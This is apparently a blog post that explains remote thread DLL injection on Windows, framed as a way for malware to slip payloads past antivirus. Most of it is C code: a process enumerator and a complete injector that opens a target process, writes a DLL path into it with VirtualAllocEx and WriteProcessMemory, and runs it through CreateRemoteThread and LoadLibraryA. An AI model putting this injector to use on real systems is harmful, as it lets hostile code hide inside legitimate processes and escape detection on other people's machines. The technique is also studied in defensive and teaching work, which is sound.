Basic Remote Thread Injection

Hi Guys,

There are many ways of malware to evades their execution so that the payload will bypass the antivirus check. I would like to share an old technique that could give you ideas on how is a payload could be injected into the running process, which is called remote thread injection

Basic Idea

The idea of remote thread injection is a malware running to inject dll into other process and execute it as thread.

DLL Injection Using LoadLibrary in C –

The malware that is run by the user through social engineering will first enumerate the running process in the machine by calling this windows API CreateToolhelp32Snapshot, Process32First, and Process32Next. Here below is a sample C code that enumerate all the process in the machine.

Process Enumeration Code

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>

int Error(const char* error) {
    printf("%s (%u) ", error, GetLastError());
    return 1;
}

int main()
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return Error("Failed create hNapshost");    
    }

    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(pe);

    if (!Process32First(hSnapshot, &pe)) {
        return Error("Error in process32first");
    }

    do {
        printf("PID: %6u (PPDI: %6u) Threads: %3u %ws \n", pe.th32ProcessID, pe.th32ParentProcessID, pe.cntThreads, pe.szExeFile);
    } while (Process32Next(hSnapshot, &pe));

    CloseHandle(hSnapshot);
    return 0;
}

After the malware find the target process such as notepad.exe then it will get the PID of the application and get the handle of notepad.exe. When the malware get the handle of notepad.exe it will open with this flag PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD to successfully write and execute the new thread

The malware then should create virtual memory allocation in order to write the dll path by calling VirtualAllocEx during the virual allocation do not forget to create the memory with this flag MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE. https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex.

LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

After the malware successfully created the memory, then the malware will write the memory created by calling WriteProcessMemory to write it into the target process memory space

BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten
);

When the memory is succesfully written to the notepad.exe process, then the malware will call CreateRemoteThread to start the execution of the payload in the DLL. https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread

HANDLE CreateRemoteThread(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);

When this function is called successfully then the DLL will be run as a new thread in the notepad.exe

Thread Injection Code

#include <iostream>
#include <Windows.h>
#include <stdio.h>

int main(int argc, const char* argv[])
{
    if (argc < 3) {
        printf("not enough parameter\n");
        return 0;
    }

    int pid = atoi(argv[1]);

    HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, FALSE, pid);

    if (!hProcess) {
        printf("Error opening Process");
        return 0;
    }

    void* buffer = VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!buffer) {
        printf("Failed create buffer");
        return 0;
    }

    if (!WriteProcessMemory(hProcess, buffer, argv[2], strlen(argv[2]), nullptr)) {
        printf("Failed to write memory");
        return 0;
    }

    HANDLE hThread = CreateRemoteThread(hProcess,nullptr, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryA"), buffer, 0, nullptr);

    if (!hThread) {
        printf("Cannot start remote thread");
        return 0;
    }
    return 0;
}

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s